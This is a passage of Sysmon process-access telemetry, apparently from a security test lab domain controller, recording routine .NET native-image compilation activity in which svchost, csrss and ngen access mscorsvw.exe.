C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.494","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010F9590C00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7192,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.541\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010F5620B00}\r\nTargetProcessId: 4700\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.541","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010F5620B00}","TargetProcessId":"4700","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7193,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.541\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010F5620B00}\r\nTargetProcessId: 4700\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.541","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010F5620B00}","TargetProcessId":"4700","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7194,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.557\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010725D0C00}\r\nTargetProcessId: 4700\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.557","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010725D0C00}","TargetProcessId":"4700","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7195,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.619\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E6600C00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E6600C00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7196,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E6600C00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E6600C00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7197,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.635\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E6600C00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.635","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E6600C00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7198,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.713\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-0010C00A0C00}\r\nTargetProcessId: 4656\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.713","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-0010C00A0C00}","TargetProcessId":"4656","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.3031